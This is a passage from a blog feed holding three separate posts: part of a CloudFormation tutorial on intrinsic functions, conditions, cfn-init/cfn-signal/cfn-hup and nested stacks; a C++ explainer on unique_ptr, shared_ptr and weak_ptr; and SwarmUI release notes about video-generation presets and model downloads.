    - !Equals [!Ref AWS::Region, "eu-west-1"]

!ImportValue

Imports a value exported by another stack. This is how Cross-Stack References work — covered in detail in section 14.

VpcId: !ImportValue SharedInfra-VpcId

How Functions Compose

The power comes from nesting. Functions can be composed:

SecurityGroupId: !Select
  - 0
  - !Split [",", !ImportValue SharedInfra-SecurityGroupIds]

Here: import a comma-separated string of security group IDs from another stack, split it into a list, then select the first one. Three functions, one clean result.

This is not just syntax. It is the way CloudFormation templates become self-describing infrastructure documents that adapt to context.

Mappings

What They Are

Mappings are lookup tables built into your template. They let you define a set of key-value pairs and then look up a value at deploy time based on known context like which region you are deploying to, or which environment was selected.

Structure

Mappings:
  RegionAMIMap:
    us-east-1:
      AMI: ami-0c55b159cbfafe1f0
      BastionAMI: ami-0a887e401f7654935
    eu-west-1:
      AMI: ami-0d71ea30463e0ff49
      BastionAMI: ami-08d658f84a6d84a80
    ap-southeast-1:
      AMI: ami-01f7527546b557442
      BastionAMI: ami-0c5199d385b432989

  EnvironmentConfig:
    development:
      InstanceType: t3.micro
      MultiAZ: false
      DeletionProtection: false
    production:
      InstanceType: m5.large
      MultiAZ: true
      DeletionProtection: true

Usage

Resources:
  MyInstance:
    Type: AWS::EC2::Instance
    Properties:
      ImageId: !FindInMap [RegionAMIMap, !Ref AWS::Region, AMI]
      InstanceType: !FindInMap [EnvironmentConfig, !Ref EnvironmentName, InstanceType]

!FindInMap takes three arguments: the map name, the top-level key, and the second-level key. It returns the value at that intersection.

Limitations

Mappings are static. They are baked into the template at write time. You cannot populate them dynamically at deploy time, and you cannot look up values in external systems like SSM Parameter Store.

This means:

When an AMI is updated, you must update the mapping manually and redeploy.
You cannot have a different mapping value per account without writing account IDs into the template.

For dynamic lookups, the solution is SSM Parameter Store with AWS::SSM::Parameter::Value<String> parameter types, or Custom Resources (covered in section 19). The AWS-managed AMI parameter store path (/aws/service/ami-amazon-linux-latest/al2023-ami-kernel-default-x86_64) is the standard way to always get the latest Amazon Linux AMI without hardcoding AMI IDs at all.

Outputs

What They Are

Outputs are values that CloudFormation makes available after a stack is created or updated. They serve two purposes:

Visibility Display useful information about what was created (endpoint URLs, resource IDs, ARNs).
Cross-Stack References Export a value so other stacks can import it.

Structure

Outputs:
  WebServerPublicIP:
    Description: Public IP address of the web server
    Value: !GetAtt MyWebServer.PublicIp

  LoadBalancerDNS:
    Description: DNS name for the application load balancer
    Value: !GetAtt MyALB.DNSName

  VpcId:
    Description: VPC ID for use by other stacks
    Value: !Ref MyVPC
    Export:
      Name: !Sub "${AWS::StackName}-VpcId"

When to Use Export

Only add Export when you intend for another stack to reference the value. Not every output needs to be exported. Exports create a dependency you cannot delete the exporting stack while any other stack is consuming its exports.

What Would Happen Without Outputs

Without outputs, you would need to go into the AWS Console or run CLI commands to find the DNS name of your load balancer, the ID of your VPC, or the ARN of your IAM role. Outputs surface these values automatically after deployment, making them available to operators, pipelines, and other stacks.

In a CI/CD pipeline:

# After CloudFormation deploy, grab the load balancer URL
ALB_URL=$(aws cloudformation describe-stacks \
  --stack-name my-app \
  --query "Stacks[0].Outputs[?OutputKey=='LoadBalancerDNS'].OutputValue" \
  --output text)

# Use it to run integration tests
curl -f "http://$ALB_URL/health"

Outputs make your stack queryable. This is essential for automated pipelines.

Conditions

The Problem

You want one template that can deploy to both development and production, but the production environment needs a Multi-AZ RDS instance and an additional NAT Gateway, while development needs neither. Without conditions, you need two templates. With conditions, you need one.

Structure

Conditions are defined in the Conditions section and referenced in resources.

Parameters:
  EnvironmentName:
    Type: String
    AllowedValues: [development, production]

Conditions:
  IsProduction: !Equals [!Ref EnvironmentName, production]
  IsNotProduction: !Not [!Condition IsProduction]

Resources:
  PrimaryDatabase:
    Type: AWS::RDS::DBInstance
    Properties:
      DBInstanceClass: !If [IsProduction, db.m5.large, db.t3.micro]
      MultiAZ: !If [IsProduction, true, false]
      DeletionProtection: !If [IsProduction, true, false]

  NATGateway:
    Type: AWS::EC2::NatGateway
    Condition: IsProduction
    Properties:
      SubnetId: !Ref PublicSubnet
      AllocationId: !GetAtt ElasticIP.AllocationId

The Condition: IsProduction on NATGateway means: only create this resource if IsProduction is true. The !If inside PrimaryDatabase means: use different property values depending on the condition.

Condition Operators

Conditions:
  IsProduction: !Equals [!Ref Env, production]
  IsUS: !Equals [!Ref AWS::Region, us-east-1]
  
  # Both must be true
  IsProductionUS: !And
    - !Condition IsProduction
    - !Condition IsUS

  # Either must be true
  IsProductionOrUS: !Or
    - !Condition IsProduction
    - !Condition IsUS

  # Invert
  IsNotProduction: !Not [!Condition IsProduction]

Limitation

Conditions are evaluated at deploy time. They cannot change during stack execution. You cannot create a condition that says "if resource X was successfully created, then create resource Y" that is what DependsOn and WaitConditions handle.

DependsOn

The Problem

CloudFormation builds resources in parallel where possible. It determines the order automatically by following !Ref and !GetAtt references if resource B references resource A, CloudFormation knows to create A first.

But sometimes resource B does not reference resource A in its properties, yet it still needs A to exist before it can be created or function correctly. CloudFormation does not know about this implicit dependency, so it might try to create both simultaneously, and B fails because A is not ready.

The Solution

DependsOn explicitly tells CloudFormation: do not start creating this resource until that resource is complete.

Resources:
  MyVPC:
    Type: AWS::EC2::VPC
    Properties:
      CidrBlock: 10.0.0.0/16

  InternetGateway:
    Type: AWS::EC2::InternetGateway

  VPCGatewayAttachment:
    Type: AWS::EC2::VPCGatewayAttachment
    Properties:
      VpcId: !Ref MyVPC
      InternetGatewayId: !Ref InternetGateway

  PublicSubnet:
    Type: AWS::EC2::Subnet
    DependsOn: VPCGatewayAttachment
    Properties:
      VpcId: !Ref MyVPC
      CidrBlock: 10.0.1.0/24

Here, PublicSubnet references MyVPC via !Ref, so CloudFormation knows it must wait for the VPC. But the subnet does not reference VPCGatewayAttachment in its properties. Without DependsOn, CloudFormation might create the subnet before the gateway is attached, and routing will not work correctly.

A More Common Use Case — RDS and EC2

Resources:
  Database:
    Type: AWS::RDS::DBInstance
    Properties:
      DBInstanceClass: db.t3.micro
      Engine: mysql

  AppServer:
    Type: AWS::EC2::Instance
    DependsOn: Database
    Properties:
      UserData: !Base64
        !Sub |
          #!/bin/bash
          echo "DB_HOST=${Database.Endpoint.Address}" >> /etc/app/config

The AppServer does reference Database via !Sub, which creates an implicit dependency. But DependsOn is also good practice here you want the database to be fully ready before the application server boots and tries to connect.

What Happens Without It

Without DependsOn where it is needed, resources are created in the wrong order. The stack may still reach CREATE_COMPLETE but your application may fail at runtime because the dependency was not ready when the dependent resource was configured.

Limitation

DependsOn only tells CloudFormation to wait until the resource creation is complete. It does not tell CloudFormation to wait until the resource is ready to serve traffic or until a process inside the resource has finished running. For that, you need Wait Conditions and cfn-signal.

Wait Conditions and cfn-signal

The Problem That DependsOn Cannot Solve

CloudFormation considers an EC2 instance "created" the moment the API call to launch it succeeds. From CloudFormation's perspective, the resource is done. But the instance has not finished booting. The operating system is still starting. Your bootstrap script the one that installs your application, configures the web server, and starts your process is still running.

If a second resource depends on the application being ready, DependsOn is not enough. CloudFormation will proceed the moment the EC2 API reports success, not when your application is actually ready.

The Solution: cfn-signal and WaitConditions

cfn-signal is a script that runs inside your EC2 instance and sends a signal back to CloudFormation: "I am done and I succeeded" or "I am done and I failed."

A WaitCondition is a CloudFormation resource that pauses the stack and waits for a specific number of signals before proceeding.

Together, they let you tell CloudFormation: "Wait until the bootstrap process inside the instance has finished before you continue creating other resources."

How It Works. Step by Step

You create an EC2 instance with a UserData script that runs your bootstrap logic.
At the end of the script, you call cfn-signal to send a success or failure signal.
CloudFormation sees the signal and either continues or fails the stack.

The Code

Resources:
  WaitHandle:
    Type: AWS::CloudFormation::WaitConditionHandle

  WebServer:
    Type: AWS::EC2::Instance
    Properties:
      ImageId: !FindInMap [RegionAMIMap, !Ref AWS::Region, AMI]
      InstanceType: t3.micro
      UserData:
        !Base64
          !Sub |
            #!/bin/bash -xe
            # Install and configure application
            yum update -y
            yum install -y httpd
            systemctl start httpd
            systemctl enable httpd
            echo "<h1>Hello from ${AWS::StackName}</h1>" > /var/www/html/index.html
            
            # Signal CloudFormation that bootstrap is complete
            /opt/aws/bin/cfn-signal -e $? \
              --stack ${AWS::StackName} \
              --resource WebServerWaitCondition \
              --region ${AWS::Region}

  WebServerWaitCondition:
    Type: AWS::CloudFormation::WaitCondition
    DependsOn: WebServer
    Properties:
      Handle: !Ref WaitHandle
      Timeout: 600
      Count: 1

-e $? passes the exit code of the last command. If the script ran successfully, $? is 0 CloudFormation receives a success signal. If the script failed, $? is non-zero CloudFormation receives a failure signal, fails the wait condition, and rolls back the stack.

What Happens Without cfn-signal

Without signalling, CloudFormation marks the EC2 instance as CREATE_COMPLETE the moment the API call succeeds typically within 10-15 seconds. Any resource that depends on the instance being fully configured will attempt to use it before it is ready. Load balancer health checks will fail. Downstream resources will misconfigure. Your application stack reaches CREATE_COMPLETE in a broken state.

This is the most common cause of "CloudFormation says it worked but the application is not working" problems.

Timeout

The Timeout is in seconds. 600 means CloudFormation will wait up to 10 minutes for the signal. If no signal arrives, the stack times out and rolls back. Size this based on how long your bootstrap realistically takes, with a comfortable buffer.

Limitation

cfn-signal handles the moment of creation well. But what about ongoing configuration? What if you need to update the instance configuration after the stack is deployed, or re-apply configuration if it drifts? For that, you need cfn-init.

CloudFormation Init (cfn-init)

The Problem with UserData

UserData is a blunt instrument. It is a script that runs once at instance launch and that is it. If you update the CloudFormation template and the instance is not replaced, UserData does not re-run. If the configuration drifts someone manually changes a file on the instance there is no way for CloudFormation to detect or correct it.

Also, UserData is imperative: you write step-by-step instructions. The result depends entirely on the starting state of the machine. If any step fails partway through, you have a half-configured instance with no clean way to recover.

The Solution: cfn-init

cfn-init is a declarative configuration engine built into the CloudFormation helper tools. Instead of writing scripts that say "run these commands," you declare the desired state: "these packages should be installed, these files should exist with this content, these services should be running."

Configuration is written in the Metadata section of the resource using the AWS::CloudFormation::Init key.

Structure

Resources:
  WebServer:
    Type: AWS::EC2::Instance
    Metadata:
      AWS::CloudFormation::Init:
        config:
          packages:
            yum:
              httpd: []
              php: []

          files:
            /var/www/html/index.php:
              content: !Sub |
                <?php
                echo "<h1>Environment: ${EnvironmentName}</h1>";
                echo "<p>Stack: ${AWS::StackName}</p>";
                ?>
              mode: "000644"
              owner: apache
              group: apache

            /etc/httpd/conf.d/myapp.conf:
              content: |
                <VirtualHost *:80>
                    DocumentRoot /var/www/html
                    DirectoryIndex index.php
                </VirtualHost>
              mode: "000644"
              owner: root
              group: root

          services:
            sysvinit:
              httpd:
                enabled: true
                ensureRunning: true
                files:
                  - /etc/httpd/conf.d/myapp.conf
                packages:
                  yum:
                    - httpd

    Properties:
      ImageId: !FindInMap [RegionAMIMap, !Ref AWS::Region, AMI]
      InstanceType: t3.micro
      UserData:
        !Base64
          !Sub |
            #!/bin/bash -xe
            # Run cfn-init to apply the configuration
            /opt/aws/bin/cfn-init -v \
              --stack ${AWS::StackName} \
              --resource WebServer \
              --region ${AWS::Region}
            
            # Signal success or failure
            /opt/aws/bin/cfn-signal -e $? \
              --stack ${AWS::StackName} \
              --resource WebServerWaitCondition \
              --region ${AWS::Region}

  WebServerWaitCondition:
    Type: AWS::CloudFormation::WaitCondition
    DependsOn: WebServer
    Properties:
      Handle: !Ref WaitHandle
      Timeout: 600
      Count: 1

  WaitHandle:
    Type: AWS::CloudFormation::WaitConditionHandle

The Four cfn-init Keys

Key	What It Does
`packages`	Installs system packages via yum, apt, rpm, or other package managers
`files`	Creates files with specific content, permissions, and ownership
`commands`	Runs shell commands in a specific order with optional test conditions
`services`	Ensures services are started, enabled, and restarted when dependencies change

configSets Ordering Multiple Configurations

When you have complex configuration that needs to run in phases, use configSets:

Metadata:
  AWS::CloudFormation::Init:
    configSets:
      full_install:
        - install_cfn
        - install_base
        - install_app
        - configure_app

    install_cfn:
      files:
        /etc/cfn/cfn-hup.conf:
          content: !Sub |
            [main]
            stack=${AWS::StackId}
            region=${AWS::Region}
          mode: "000400"
          owner: root
          group: root

    install_base:
      packages:
        yum:
          httpd: []
          php: []
          php-mysqlnd: []

    install_app:
      files:
        /var/www/html/index.php:
          content: !Sub |
            <?php phpinfo(); ?>
          mode: "000644"
          owner: apache
          group: apache

    configure_app:
      services:
        sysvinit:
          httpd:
            enabled: true
            ensureRunning: true

Then in UserData, reference the configSet:

/opt/aws/bin/cfn-init -v \
  --stack ${AWS::StackName} \
  --resource WebServer \
  --configsets full_install \
  --region ${AWS::Region}

What Happens Without cfn-init

Without cfn-init, you rely entirely on UserData scripts. These are harder to maintain, harder to debug, and run only once at launch. Configuration drift is invisible, and updating configuration requires replacing the instance. cfn-init makes your instance configuration as declarative and auditable as your infrastructure definition.

Limitation

cfn-init applies configuration at launch. It does not continuously monitor or re-apply configuration when the template changes, unless the instance is replaced. For tracking template changes and re-applying configuration without replacing instances, you need cfn-hup.

cfn-hup

The Problem cfn-init Alone Cannot Solve

You update your CloudFormation template specifically, you change the content of a configuration file managed by cfn-init. You run aws cloudformation update-stack. CloudFormation processes the update.

If the EC2 instance is not being replaced (because the change does not require replacement only a metadata change), CloudFormation will not re-run cfn-init. The instance keeps running with the old configuration. The update completes, the stack reaches UPDATE_COMPLETE, and your configuration is silently out of date.

The Solution: cfn-hup

cfn-hup is a daemon that runs on the instance and polls the CloudFormation stack for changes to the resource's metadata. When it detects a change, it re-runs cfn-init to apply the updated configuration.

This gives you the ability to update instance configuration through CloudFormation without replacing the instance.

How to Set It Up

cfn-hup requires two configuration files on the instance, typically created via cfn-init itself:

Metadata:
  AWS::CloudFormation::Init:
    configSets:
      full_install:
        - install_cfn
        - install_app

    install_cfn:
      files:
        /etc/cfn/cfn-hup.conf:
          content: !Sub |
            [main]
            stack=${AWS::StackId}
            region=${AWS::Region}
            interval=5
          mode: "000400"
          owner: root
          group: root

        /etc/cfn/hooks.d/cfn-auto-reloader.conf:
          content: !Sub |
            [cfn-auto-reloader-hook]
            triggers=post.update
            path=Resources.WebServer.Metadata.AWS::CloudFormation::Init
            action=/opt/aws/bin/cfn-init -v \
              --stack ${AWS::StackName} \
              --resource WebServer \
              --configsets full_install \
              --region ${AWS::Region}
            runas=root
          mode: "000400"
          owner: root
          group: root

      services:
        sysvinit:
          cfn-hup:
            enabled: true
            ensureRunning: true
            files:
              - /etc/cfn/cfn-hup.conf
              - /etc/cfn/hooks.d/cfn-auto-reloader.conf

How It Works

cfn-hup.conf tells cfn-hup which stack to watch and how often to poll (every 5 minutes in this example).

cfn-auto-reloader.conf tells cfn-hup what to do when it detects a change: watch the Metadata.AWS::CloudFormation::Init path of the WebServer resource, and when it changes, re-run cfn-init with the full configSet.

When you update the template — change a file, add a package, modify a service — cfn-hup detects the metadata change within the poll interval and re-applies the full configuration to the running instance.

The Complete Pattern

cfn-init, cfn-signal, and cfn-hup form a complete configuration management pattern:

cfn-init applies configuration at launch
cfn-signal tells CloudFormation that configuration is complete
cfn-hup keeps configuration in sync with the template over time

Together, they turn your EC2 instances into configuration-as-code managed infrastructure that stays synchronized with your CloudFormation templates without requiring replacement.

Nested Stacks

The Problem with Single Large Stacks

A CloudFormation stack has a hard limit of 500 resources. But the real problem appears well before that limit.

A template with 80+ resources becomes difficult to read, difficult to test, and difficult to reason about. Changes to one part of the template require updating and deploying the entire thing. Teams working on different parts of the infrastructure step on each other. Re-using patterns across projects is impossible because everything is in one monolithic file.

This is the same problem that led software engineers to adopt functions, modules, and packages. The solution is the same: decomposition.

The Solution — Nested Stacks

A nested stack is a CloudFormation resource of type AWS::CloudFormation::Stack. It references another CloudFormation template stored in S3 and deploys it as a child stack. The parent stack manages the lifecycle of its child stacks.

Resources:
  NetworkStack:
    Type: AWS::CloudFormation::Stack
    Properties:
      TemplateURL: https://s3.amazonaws.com/mybucket/templates/network.yaml
      Parameters:
        EnvironmentName: !Ref EnvironmentName
        VpcCidr: 10.0.0.0/16
      TimeoutInMinutes: 20

  AppStack:
    Type: AWS::CloudFormation::Stack
    DependsOn: NetworkStack
    Properties:
      TemplateURL: https://s3.amazonaws.com/mybucket/templates/app.yaml
      Parameters:
        EnvironmentName: !Ref EnvironmentName
        VpcId: !GetAtt NetworkStack.Outputs.VpcId
        SubnetIds: !GetAtt NetworkStack.Outputs.SubnetIds
      TimeoutInMinutes: 30

  DatabaseStack:
    Type: AWS::CloudFormation::Stack
    DependsOn: NetworkStack
    Properties:
      TemplateURL: https://s3.amazonaws.com/mybucket/templates/database.yaml
      Parameters:
        SubnetIds: !GetAtt NetworkStack.Outputs.SubnetIds
        DBPassword: !Ref DBPassword

The parent template is thin it orchestrates the child stacks and passes data between them via outputs and parameters. Each child template is a focused, independently testable unit.

Passing Data Between Nested Stacks

Notice !GetAtt NetworkStack.Outputs.VpcId. This is how you pass data from one nested stack to another:

The network.yaml template has an Outputs section that exports VpcId.
The parent references it via !GetAtt NetworkStack.Outputs.VpcId.
The parent passes it as a parameter to AppStack.

# network.yaml Outputs section
Outputs:
  VpcId:
    Value: !Ref MyVPC
  SubnetIds:
    Value: !Join [",", [!Ref SubnetA, !Ref SubnetB]]

What Would Happen Without Nested Stacks

All resources live in one template. It grows. Team members modify the same file. Changes to the network layer require touching the application template. Testing one component requires deploying everything. The template becomes the infrastructure equivalent of a 5,000-line monolithic application technically functional but practically unmaintainable.

Limitation

Nested stacks solve the organization and size problem within a single deployment. They do not solve the problem of sharing infrastructure across multiple independent teams or projects. If Team A creates a VPC that Team B also needs, nested stacks are not the right tool Cross-Stack References are.

Cross-Stack References

The Problem Nested Stacks Do Not Solve

Nested stacks keep related resources together. But what about shared infrastructure that multiple independent stacks need to reference?

Your networking team creates a VPC stack: VPC, subnets, route tables, NAT gateways. This is the foundation. Three separate application teams each deploy their own stacks that need to run inside that VPC.

With nested stacks, the networking stack would need to be the parent of all three application stacks. That creates an artificial coupling the networking team owns the deployment of all application stacks. This does not reflect how real teams work.

The right model is: the networking stack exists independently, exports its values, and each application stack imports what it needs.

The Solution: Exports and ImportValue

A stack can export named values. Any other stack in the same region and account can import those values.

Exporting stack (networking stack):

Naming Convention

Export names must be unique within a region and account. The convention StackName-ResourceName is standard. You can also use !Sub with pseudo parameters for uniqueness:

Export:
  Name: !Sub "${AWS::StackName}-VpcId"

Putting It All Together.

Every feature in CloudFormation exists because there was a real problem that could not be solved without it. Here is how they connect:

None of these features are optional in a serious production environment. Each one closes a gap that, without it, requires manual intervention, custom scripting, or accepted risk.

Written by Onyedikachi Obidiegwu | Cloud Security Engineer

C++ Smart Pointers, unique_ptr vs shared_ptr vs weak_ptr — How to Choose

Sat, 05 Sep 2026 13:18:53 +0000

When I first learned about smart pointers, I was equally confused by all three of them! They are used to manage memory dynamically. unique_ptr is like a master who is responsible for its pet's life. shared_ptr is like you and your friends renting a house together. weak_ptr is like a bystander who can only watch. This post explains what each one really does, with short examples.

Quick answer: use unique_ptr by default. Use shared_ptr only when ownership is truly shared. Use weak_ptr when you need to observe without owning.

	unique_ptr	shared_ptr	weak_ptr
Ownership model	exclusive ownership	shared ownership	no ownership
Can it be copied	No	Yes	Yes
Can it have multiple owners	No	Yes	No (it owns nothing)
Reference counting overhead	none	atomic count increase/decrease on copy and destroy	touches a separate weak count, never the strong count
How to choose	the default choice	when ownership is truly shared	to break circular references

Unique_ptr

unique_ptr means: "I'm your master and responsible for your life and death."

Example:

#include <iostream>
#include <memory>
using namespace std;

struct Task {
    int mId;
    Task(int id) :mId(id) {
        cout << "Task::Constructor" << endl;
    }
    ~Task() {
        cout << "Task::Destructor" << endl;
    }
};

int main()
{
    unique_ptr<Task> taskPtr(new Task(23));
    int id = taskPtr->mId;

    cout << id << endl;

    return 0;
}

Output:

Task::Constructor
23
Task::Destructor

Why unique_ptr can't be copied

unique_ptr can't be copy-constructed or copy-assigned, because copying would let two unique_ptrs point to the same object — and when both are destroyed, the object would be deleted twice. Instead, you use std::move to transfer ownership.

More on ownership transfer: see my earlier post, reset() vs release() vs std::move.

When to choose unique_ptr

unique_ptr prevents memory leaks caused by programming errors — the object is freed automatically when the pointer goes out of scope, even if you forget to delete.
Ownership can be transferred cheaply with std::move, without copying the managed object.

Shared_ptr

shared_ptr means: the house is rented together by friends. When one friend moves out, the house still belongs to the rest — the object is destroyed only when the last owner releases it.

Example:

#include <iostream>
#include <memory>

class House {
public:
    House()  { std::cout << "That's a big house." << std::endl; }
    ~House() { std::cout << "Bye" << std::endl; }
};

int main() {
    std::shared_ptr<House> friend1 = std::make_shared<House>();  // one allocation: object + control block
    std::shared_ptr<House> friend2 = friend1;  // a roommate moves in

    std::cout << friend1.use_count() << std::endl;  // 2
    std::cout << friend2.use_count() << std::endl;  // 2

    friend1.reset();  // a friend moves out
    std::cout << friend2.use_count() << std::endl;  // 1
    return 0;
}

Each shared_ptr copy increments the reference count; each destruction or reset() decrements it. When the count reaches zero, the object is destroyed.

Thread safety of shared_ptr

The member functions of shared_ptr (including the copy constructor and copy assignment operator) can be called on different shared_ptr instances from multiple threads at the same time without any extra synchronization. However, if multiple threads access the same shared_ptr instance and at least one of them calls a non-const member function, a data race occurs. To share the same instance safely, use std::atomic<std::shared_ptr<T>> (since C++20). In C++11/14/17, use the free functions std::atomic_load() and std::atomic_store() instead.

The trap of shared_ptr: circular references

shared_ptr has one famous trap: circular references. If two objects own each other with shared_ptr, neither reference count can ever reach zero — the memory leaks even after you drop all external references. A doubly-linked structure shows the shape of the problem:

#include <memory>

struct Node {
    std::shared_ptr<Node> next;
    std::weak_ptr<Node> prev;  // must NOT be shared_ptr — otherwise two nodes
                               // keep each other alive forever and leak
};

Use weak_ptr for the "back" direction. It breaks the cycle: the object is freed when no one strongly owns it, and the back-pointer simply expires.

Weak_ptr

weak_ptr means: I'm a bystander. I can observe you, but I'm not responsible for you.

Example:

#include <iostream>
#include <memory>

class Object {
public:
    Object(int value) : data(value) {
        std::cout << "Object created with value: " << data << std::endl;
    }
    ~Object() {
        std::cout << "Object destroyed with value: " << data << std::endl;
    }
    int data;
};

int main() {
    std::shared_ptr<Object> sharedObjectA = std::make_shared<Object>(42);
    std::weak_ptr<Object> weakObjectA = sharedObjectA;

    if (auto sp = weakObjectA.lock()) {  // safe idiom: check and lock in one step
        std::cout << "Value: " << sp->data << std::endl;
    } else {
        std::cout << "Object is gone" << std::endl;
    }

    sharedObjectA.reset();
    std::cout << "End of the Program" << std::endl;
    return 0;
}

Key member functions

lock(): if the object is still alive, returns a temporary shared_ptr; if it has been destroyed, returns an empty shared_ptr. Always use if (auto sp = w.lock()) instead of calling expired() and then lock() separately — the object could be destroyed between the two calls.
expired(): checks whether the managed object has already been destroyed.
reset(): releases the weak reference.
swap(): swaps the managed object with another weak_ptr.

Application

Breaking circular references: when an object needs to reference another object without owning it — like Node::prev above — use weak_ptr. The cycle is broken, and both objects are safely released when no longer needed.
Caching systems: caches often hold weak_ptrs so they don't keep objects alive; when an object is no longer used anywhere else, the cache entry simply expires instead of leaking.

Q&A

Q: Can a unique_ptr be converted into a shared_ptr?
A: Yes, and it's the only "copy-like" conversion allowed — it actually moves the ownership: std::shared_ptr<T> sp(std::move(up));. The reference count starts at 1 and nobody has to worry about double deletion.

Q: Is shared_ptr thread-safe?
A: Partly. The reference counting is atomic, so copies and destructions on different instances are safe. But the pointed-to object itself is not protected — if two threads read and write the object's data through their shared_ptrs, you still need a mutex or an atomic.

Q: Can I copy a unique_ptr?
A: No, by design — copying would cause the object to be deleted twice. If you really need to transfer it, std::move it.

Reference

SwarmUI Latest Updates

Thu, 27 Aug 2026 22:56:34 +0000

By SECourses: FLUX, Tutorials, Guides, Resources, Training, Scripts | Original Patreon post

Get the SwarmUI Installer and Model Downloader app and the presets from here : https://www.patreon.com/SECourses/posts/swarmui-auto-and-114517862

28 August 2026 Update V172

Reference tokens are more robust now.
- Variants such as @IMAGE1, @ image # 2, and are recognized and normalized automatically.
Prompt-label handling and makes token estimates more accurate for multi-frame continuation and Image-to-Video workflows now.
Better Video Continuation
- Init Video Continuation 1.3.1 now supports 1, 5, 22, 39, or 56 context frames.
- One-frame mode preserves the previous behavior. Multi-frame mode uses MiniMax H3's native clip conditioning for smoother transitions.
- Replayed context frames and matching audio are removed automatically during merging, preventing duplicated footage or sound.
- Source audio is preserved and generated audio is appended at the continuation boundary.
Start Frame / Init Video now accepts an image or video. Uploaded videos can be continued and optionally merged with the newly generated segment.
Continuation no longer consumes a Ref2VA reference-image slot.
MiniMax H3 Fixes
- Fixed text-only Audio Only workflows failing to recognize SwarmUI's H3 latent canvas.
- Fixed pasted multiline wildcard text being collapsed.
WD14 Tagger Hardening
- All 19 supported model repositories are now allowlisted and pinned to reviewed, immutable Hugging Face revisions.
- Downloaded Taggerine inference code must pass SHA-256 verification before execution.
- Added stricter validation for model IDs, thresholds, image types and sizes, model directories, and temporary output paths.
- Runtime package installation was removed. Missing dependencies now produce clear installation instructions instead of modifying the ComfyUI environment during generation.
- Added dedicated security-boundary tests.
- Install from this repo manually https://github.com/FurkanGozukara/SwarmUI-WD14Tagger
Automatic Installers / Updaters Reliability
- Aggressive Git updates now clean untracked leftovers after repository resets, improving recovery from blocked or inconsistent node updates.
Get latest zip file extract and overwrite all files
- Import latest presets
- Run Windows_Install_SwarmUI.bat to update latest
Get latest ComfyUI and update it to latest as well
- https://www.patreon.com/SECourses/posts/comfyui-auto-2-105023709
More latent frames will increase vram usage a lot so be careful
This feature added to ComfyUI presets as well read changelogs on ComfyUI

22 August 2026 Update V170

This is a very big update : LTX 2.5 video generation presets + LTX 2.5 Video Core Bundle, new FLUX 2 Klein INT8 / INT4 ConvRot HQ models, MiniMax H3 Init Audio (make the video follow any soundtrack with lipsync), live prompt token meter, Face Inpainting upgrades, a big model downloader UI upgrade and a huge installer / updater overhaul so please read all
LTX 2.5 video generation presets finally added : Amazing_SwarmUI_Presets_v70.json brings 6 new presets : LTX25 Text To Video - Core 2-Stage 8+3, LTX25 Image To Video - Core 2-Stage 8+3, LTX25 First Last Frame - Core 2-Stage 8+3, LTX25 Audio Reference To Video - Core 2-Stage 8+3, LTX25 Text To Video - Dev HQ 30+6 and LTX25 Image To Video - Dev HQ 30+6 (all 260822)
Audio Reference To Video : add a Prompt Audio file and describe the matching visuals - the native LTX 2.5 audio branch makes the video follow your audio (lipsync, timing) - Image To Video and First Last Frame presets : add an Init Image (and a Video End Frame) and describe only the motion, camera and sound instead of re-describing the still

All 6 presets are two-stage : the first stage generates at 960x544, then SwarmUI's Refine / Upscale applies the official LTX 2.5 latent spatial upscaler x2 and refines to model-aligned 1080p (1920x1088) with synchronized audio - 97 frames at 24 FPS (about 4 seconds) and H264 MP4 output by default
Core presets use my LTX 2.5 Distilled INT8 ConvRot Premium model with 8 + 3 steps at CFG 1 and Euler Ancestral so they are fast - Dev HQ presets use my LTX 2.5 Dev INT8 ConvRot Premium model with 30 + 6 steps at CFG 3 and Euler for maximum prompt adherence and detail
Everything is exposed as normal SwarmUI parameters so you can change resolution, duration, steps and the refiner settings as you like - increase Text2Video Frames for longer clips
Import Amazing_SwarmUI_Presets_v70.json or run Windows_Preset_Delete_Import.bat to get them - the Which_Bundles_Downloads_Which_Preset_Models.html report is regenerated for the new presets as well

LTX 2.5 Video Core Bundle added to the model downloader : 1 click downloads everything the LTX 2.5 presets need - 10 files, 64.64 GB : Dev and Distilled INT8 ConvRot Premium transformers, Gemma 4 12B INT8 ConvRot v2 text encoder (SwarmUI's current default), Gemma 4 E2B INT8 ConvRot prompt enhancer, the convolutional and the diffusion video VAE, the audio VAE, the latent spatial upscaler x2, the pixel spatial upscaler x2 IC-LoRA and the motion track control IC-LoRA
This one bundle covers every model referenced by all of our LTX 2.5 presets in both SwarmUI and ComfyUI, so you do not need to hunt for a second bundle to make any of them run
The text encoder and both VAEs are saved with the exact LTX-2 sub folder and file names SwarmUI's own automatic downloader expects, so SwarmUI never downloads a second copy - in ComfyUI mode they go to models/text_encoders/LTX-2 and models/vae/LTX-2
No more gated downloads for LTX 2.5 : I have mirrored the remaining official Lightricks files into my own non-gated repository, so nothing in the LTX 2.5 list asks you to log in or accept a license anymore - this covers the official Dev and Distilled Comfy INT8 ConvRot transformers, the Distilled NVFP4 transformer (for RTX 5000 Blackwell), the pixel spatial upscaler x2 IC-LoRA and the latent spatial upscaler
These official quantizations stay optional alternatives - my own Premium INT8 ConvRot conversions remain the default of the bundles and presets because they are higher quality, and the Gemma 4 E2B INT8 ConvRot prompt enhancer is also listed separately

Model downloader UI upgrade : every model list and every bundle Includes list is now grouped by the folder the files are saved into : Main Models, Text Encoders, VAEs, LoRAs, ControlNets, Upscalers, Vision, Detection, LLM - biggest files first, and every group header shows the file count and total GB so you instantly see what goes where

New Active Transfers panel with a real progress bar per file (percent, downloaded / total, speed, ETA) above the Activity Log - the log is chronological now with a Follow newest log entry checkbox, it refreshes twice per second, and multiple open browser tabs no longer steal each other's updates
The URL Downloader tab now shows its progress in the same panel instead of looking frozen, and every download reports \[STARTING\] immediately instead of showing nothing while the file metadata is fetched
Console progress line reordered : percent, downloaded / total size, speed and ETA come first and the long file name goes last, so a narrow CMD window never cuts off the numbers - and when the output is not a real terminal (RunPod / Massed Compute logs) progress is still printed once per second instead of being silent

New LTX2.5_Enchance_Prompt_Feed_For_LLMs.txt inside the Prompt_Generate_LTX_MiniMax_And_Presets_How_To_Use folder : an official-aligned LTX 2.5 prompting guide for LLMs - give it to ChatGPT / Claude / Gemini, tell it what you want, and it writes properly formatted LTX 2.5 prompts (text / image / audio to video, multi-shot and IC-LoRA conventions are all covered)
MiniMaxH3References extension 1.13.2 : videos and audio files attached with SwarmUI's own native prompt uploader are now recognized as MiniMax H3 references too - same cards, same @video1 / @audio1 tokens with autocomplete, same Ref2VA workflow
- All extensions and custom nodes automatically installed by our installers
